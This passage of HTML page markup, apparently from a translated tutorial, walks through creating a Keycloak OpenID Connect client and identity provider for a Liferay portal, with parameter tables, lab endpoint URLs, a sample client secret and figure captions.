        &lt;img alt=&quot;Figure 5 - Access to the creation of a new client from the Clients section&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/c1b63/creazione-client.png&quot; title=&quot;Figure 5 - Access to the creation of a new client from the Clients section&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Access to the creation of a new client from the Clients section&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/25955c44373bb2b8eb55004f22a422ba/fb4e7/creazione-client-inserimento-parametri.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;147\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20147\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2046a404%20404%200%20001%2055l-1%2023v23h66V43h333v52a600%20600%200%20002-22V0H0v46m130%2095l-1%204h14v-8h-13v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/25955c44373bb2b8eb55004f22a422ba/c85cb/creazione-client-inserimento-parametri.webp 300w,/static/25955c44373bb2b8eb55004f22a422ba/e88ff/creazione-client-inserimento-parametri.webp 600w,/static/25955c44373bb2b8eb55004f22a422ba/92f8c/creazione-client-inserimento-parametri.webp 1200w,/static/25955c44373bb2b8eb55004f22a422ba/ba879/creazione-client-inserimento-parametri.webp 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/25955c44373bb2b8eb55004f22a422ba/5a46d/creazione-client-inserimento-parametri.png 300w,/static/25955c44373bb2b8eb55004f22a422ba/0a47e/creazione-client-inserimento-parametri.png 600w,/static/25955c44373bb2b8eb55004f22a422ba/c1b63/creazione-client-inserimento-parametri.png 1200w,/static/25955c44373bb2b8eb55004f22a422ba/fb4e7/creazione-client-inserimento-parametri.png 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Creating the new client with Client ID liferay-portal-client&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/25955c44373bb2b8eb55004f22a422ba/c1b63/creazione-client-inserimento-parametri.png&quot; title=&quot;Figure 6 - Creating the new client with Client ID liferay-portal-client&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Creating the new client with Client ID liferay-portal-client&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The parameters and values indicated in the table below are the ones that must
be set on the client configuration modification mask
(see the figure below). A good rule of thumb is to assign a value
“talking” or self-explanatory to the Client ID parameter.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parameter&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Client OpenID Connect per Liferay Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Access Type&lt;/td&gt;&lt;td&gt;confidentials&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Valid Redirect URIs&lt;/td&gt;&lt;td&gt;https://portal.smc.lab.local/*&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 1 - Basic OpenID Connect Client configuration parameters&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/bcec6/creazione-client-inserimento-parametri-completamento.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:82.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;329\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20329\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M94%2069l1%2016h95V55l-48-1H94v15m1%201v13h93V56H95v14m2%2039v4h15v-9H97v5m-3%2070l1%2016h260v-32H94v16m2%200v14h257v-29H96v15m1%2023v5h12l7-1h-4v-9H97v5m0%2031v5h12l7-1h-4v-9H97v5m-3%2084v7h259v-15H94v8m2%200v6h255v-13H96v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/c85cb/creazione-client-inserimento-parametri-completamento.webp 300w,/static/c28f91d92b45fc25c1f228cd493ca055/e88ff/creazione-client-inserimento-parametri-completamento.webp 600w,/static/c28f91d92b45fc25c1f228cd493ca055/92f8c/creazione-client-inserimento-parametri-completamento.webp 1200w,/static/c28f91d92b45fc25c1f228cd493ca055/62ed8/creazione-client-inserimento-parametri-completamento.webp 1800w,/static/c28f91d92b45fc25c1f228cd493ca055/a49df/creazione-client-inserimento-parametri-completamento.webp 1834w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/5a46d/creazione-client-inserimento-parametri-completamento.png 300w,/static/c28f91d92b45fc25c1f228cd493ca055/0a47e/creazione-client-inserimento-parametri-completamento.png 600w,/static/c28f91d92b45fc25c1f228cd493ca055/c1b63/creazione-client-inserimento-parametri-completamento.png 1200w,/static/c28f91d92b45fc25c1f228cd493ca055/d61c2/creazione-client-inserimento-parametri-completamento.png 1800w,/static/c28f91d92b45fc25c1f228cd493ca055/bcec6/creazione-client-inserimento-parametri-completamento.png 1834w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Completing the OpenID Connect Client configuration for the Liferay portal&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/c1b63/creazione-client-inserimento-parametri-completamento.png&quot; title=&quot;Figure 7 - Completing the OpenID Connect Client configuration for the Liferay portal&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Completing the OpenID Connect Client configuration for the Liferay portal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;After saving the client configuration, go to the &lt;em&gt;Credentials&lt;/em&gt; tab
subsequently clicking on the &lt;em&gt;Regenerate Secret&lt;/em&gt; button, taking note of the
&lt;strong&gt;Secret&lt;/strong&gt; just generated, this value will be useful in the next one
configuration of the Identity Provider.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/54700966b7df4b530c95978f229a0665/891d5/creazione-client-generate-credentials.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2082v81h67V38h332v63a711%20711%200%20002-20V0H0v82m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/54700966b7df4b530c95978f229a0665/c85cb/creazione-client-generate-credentials.webp 300w,/static/54700966b7df4b530c95978f229a0665/e88ff/creazione-client-generate-credentials.webp 600w,/static/54700966b7df4b530c95978f229a0665/92f8c/creazione-client-generate-credentials.webp 1200w,/static/54700966b7df4b530c95978f229a0665/7afe4/creazione-client-generate-credentials.webp 1520w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/54700966b7df4b530c95978f229a0665/5a46d/creazione-client-generate-credentials.png 300w,/static/54700966b7df4b530c95978f229a0665/0a47e/creazione-client-generate-credentials.png 600w,/static/54700966b7df4b530c95978f229a0665/c1b63/creazione-client-generate-credentials.png 1200w,/static/54700966b7df4b530c95978f229a0665/891d5/creazione-client-generate-credentials.png 1520w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Credentials section of the OpenID client configuration with the Secret highlighted&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/54700966b7df4b530c95978f229a0665/c1b63/creazione-client-generate-credentials.png&quot; title=&quot;Figure 8 - Credentials section of the OpenID client configuration with the Secret highlighted&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Credentials section of the OpenID client configuration with the Secret highlighted&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Now among the list of clients registered on Keycloak the one just is available
created for integration with the Liferay portal (see figure below).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/922b973f8fa89165f228987c7f06f9d2/d8817/lista-client-keycloak.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;151\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20151\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M224%2074v2l11%201%2012-1h15c0%201%205%201%206-1%201-1%201-1-2-1h-42m-87%2012c0%202%2014%203%2015%201h3l13%201c11%200%2012%200%2013-2v-2l-1%201h-5l-3-1c-3%200-4%201-3%202%200%202-1%201-2-1h-7l-1%202-1-1c0-2-8-1-9%200h-2c-1-1-10-2-10%200m48-1l-3%201c0%202%2012%202%2014%201h17l2%201%201-1h3c0%202%203%201%203-1l-5-1h-25l-2-1-5%201m39%200v2a101%20101%200%200024%200h14l3%201c3%200%204%200%204-2l-4-1h-41M6%20114h7l32%201c25%201%2027%201%2027%207%200%204-3%204-34%203-33-1-33-1-33-7%200-3%200-3-1-2-2%202%200%207%203%209l33%202c33%200%2033%200%2033-5s-2-7-8-8H6m12%2015h-4l-4%202h20l2%201%203-1h1l2%201%203%201h1l6-1%206-1h1c0%202%203%201%203%200%200-2-3-2-18-2a175%20175%200%2001-22%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/922b973f8fa89165f228987c7f06f9d2/c85cb/lista-client-keycloak.webp 300w,/static/922b973f8fa89165f228987c7f06f9d2/e88ff/lista-client-keycloak.webp 600w,/static/922b973f8fa89165f228987c7f06f9d2/92f8c/lista-client-keycloak.webp 1200w,/static/922b973f8fa89165f228987c7f06f9d2/e8403/lista-client-keycloak.webp 1238w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/922b973f8fa89165f228987c7f06f9d2/5a46d/lista-client-keycloak.png 300w,/static/922b973f8fa89165f228987c7f06f9d2/0a47e/lista-client-keycloak.png 600w,/static/922b973f8fa89165f228987c7f06f9d2/c1b63/lista-client-keycloak.png 1200w,/static/922b973f8fa89165f228987c7f06f9d2/d8817/lista-client-keycloak.png 1238w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - The new liferay-portal-client available on the realm client list&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/922b973f8fa89165f228987c7f06f9d2/c1b63/lista-client-keycloak.png&quot; title=&quot;Figure 9 - The new liferay-portal-client available on the realm client list&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - The new liferay-portal-client available on the realm client list&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h3 id=&quot;23---configurazione-identity-provider&quot;&gt;2.3 - Configurazione Identity Provider&lt;/h3&gt;&lt;p&gt;The third step requires the configuration of the OpenID Connect Identity Provider.
The essential data to be able to create the client are indicated below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Unique alias to be assigned to the Identity Provider&lt;/li&gt;&lt;li&gt;Authorization URL&lt;/li&gt;&lt;li&gt;Token URL&lt;/li&gt;&lt;li&gt;Logout URL&lt;/li&gt;&lt;li&gt;Client Authentication&lt;/li&gt;&lt;li&gt;Client ID&lt;/li&gt;&lt;li&gt;Secret&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The values concerning Authorization, Token and Logout URL can be extracted
from the &lt;strong&gt;OpenID Connect Endpoint&lt;/strong&gt; (configuration metadata) shown above.&lt;/p&gt;&lt;p&gt;The values concerning Client ID and Secret are those set previously
when creating the client.&lt;/p&gt;&lt;p&gt;To start the creation of the Identity Provider, from the &lt;em&gt;Configure&lt;/em&gt; section of the Realm
select the &lt;em&gt;Identity Providers&lt;/em&gt; item and then select from the list
the &lt;em&gt;Keycloak OpenID Connect&lt;/em&gt; element. The following figures show the masks of
creation of the new client.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/aefaa5a53f324937268ace599612e4a9/4969b/creazione-nuovo-identity-provider.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;121\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20121\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M3%203v114h66V60l1-56%20165-1%20165-1H202L3%203m225%2064l-16%201h-15v15l-1%2014-1%201h1l1%207v12h69v-11c0-6%200-7%202-8v-1c-2%200-2-1-2-6V68h-18l-19-1h-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/aefaa5a53f324937268ace599612e4a9/c85cb/creazione-nuovo-identity-provider.webp 300w,/static/aefaa5a53f324937268ace599612e4a9/e88ff/creazione-nuovo-identity-provider.webp 600w,/static/aefaa5a53f324937268ace599612e4a9/92f8c/creazione-nuovo-identity-provider.webp 1200w,/static/aefaa5a53f324937268ace599612e4a9/62ed8/creazione-nuovo-identity-provider.webp 1800w,/static/aefaa5a53f324937268ace599612e4a9/46261/creazione-nuovo-identity-provider.webp 2400w,/static/aefaa5a53f324937268ace599612e4a9/b23db/creazione-nuovo-identity-provider.webp 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/aefaa5a53f324937268ace599612e4a9/5a46d/creazione-nuovo-identity-provider.png 300w,/static/aefaa5a53f324937268ace599612e4a9/0a47e/creazione-nuovo-identity-provider.png 600w,/static/aefaa5a53f324937268ace599612e4a9/c1b63/creazione-nuovo-identity-provider.png 1200w,/static/aefaa5a53f324937268ace599612e4a9/d61c2/creazione-nuovo-identity-provider.png 1800w,/static/aefaa5a53f324937268ace599612e4a9/97a96/creazione-nuovo-identity-provider.png 2400w,/static/aefaa5a53f324937268ace599612e4a9/4969b/creazione-nuovo-identity-provider.png 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Creation of the new Identity Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/aefaa5a53f324937268ace599612e4a9/c1b63/creazione-nuovo-identity-provider.png&quot; title=&quot;Figure 10 - Creation of the new Identity Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Creation of the new Identity Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The table below shows the parameters and their respective values that must be
set on the new Identity Provider creation mask.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parameter&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Authorization URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Logout URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Secret&lt;/td&gt;&lt;td&gt;8562bd93-8ccd-4426-bf7a-681ac9e38a32&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alias&lt;/td&gt;&lt;td&gt;iam-keycloak-oidc&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 2 - Identity Provider OpenID Connect configuration basic parameters&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The two figures below show the configurations that have been applied to the
new Identity Provider OpenID Connect with the values indicated by the previous one
table.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3079913beae03883e28c173575da8e2a/c9c44/creazione-identity-provider-openid-connect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;213\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20213\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M75%20120v5h17v-11H75v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3079913beae03883e28c173575da8e2a/c85cb/creazione-identity-provider-openid-connect.webp 300w,/static/3079913beae03883e28c173575da8e2a/e88ff/creazione-identity-provider-openid-connect.webp 600w,/static/3079913beae03883e28c173575da8e2a/92f8c/creazione-identity-provider-openid-connect.webp 1200w,/static/3079913beae03883e28c173575da8e2a/2b169/creazione-identity-provider-openid-connect.webp 1245w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3079913beae03883e28c173575da8e2a/5a46d/creazione-identity-provider-openid-connect.png 300w,/static/3079913beae03883e28c173575da8e2a/0a47e/creazione-identity-provider-openid-connect.png 600w,/static/3079913beae03883e28c173575da8e2a/c1b63/creazione-identity-provider-openid-connect.png 1200w,/static/3079913beae03883e28c173575da8e2a/c9c44/creazione-identity-provider-openid-connect.png 1245w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 11 - General section of the OpenID Connect Provider creation mask&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3079913beae03883e28c173575da8e2a/c1b63/creazione-identity-provider-openid-connect.png&quot; title=&quot;Figure 11 - General section of the OpenID Connect Provider creation mask&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 11 - General section of the OpenID Connect Provider creation mask&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:861px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:87.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;350\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20350\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2043l1%2020h374V24H9v19m2-17l-1%2018v17h373V26l-186-1-186%201m-1%20112v13h381v-26H10v13m1%201v11h379v-23H11v12m1%2050c0%202%201%203%205%203l4-1h9l1%201%201-2v-2l1%202c0%202%202%201%202-1%201-1%201-1%201%201s0%202%204%202l4-2c1-1%201-1%201%201%201%201%201%201%201-1%200-3-3-4-4-2h-1l-2-1-1%201v1h-1c0-3-7-3-8%200v-1h-1l-1-1-5%201h-6l-2-2c-2%200-2%200-2%203m-2%2073l-1%2043v43h375v-86l-187-1-187%201m0%2043l1%2042h372v-84H10v42m14-18v3h3c4%201%205%201%205-2h1c1%203%204%203%204%201s0-2%201-1l1%202%203%201%202-1v-1l1%201%201-1%201-1c0%202%201%202%202%202h1l1%201%201-2c-1-1-1-1%200%200l1%201%202%201%202-2c0-2-1-3-2-2l-2-1h-6l-2%201h-1l-3-1h-5c-3-1-6%201-5%202l-1%201-1-2-1%201c-1%201-1%201-1-1-1-2-3-3-3%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3633cace65281412d4c337dcdd8a3679/c85cb/creazione-identity-provider-openid-connect-dettaglio.webp 300w,/static/3633cace65281412d4c337dcdd8a3679/e88ff/creazione-identity-provider-openid-connect-dettaglio.webp 600w,/static/3633cace65281412d4c337dcdd8a3679/16d1d/creazione-identity-provider-openid-connect-dettaglio.webp 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/webp&quot;/&gt;
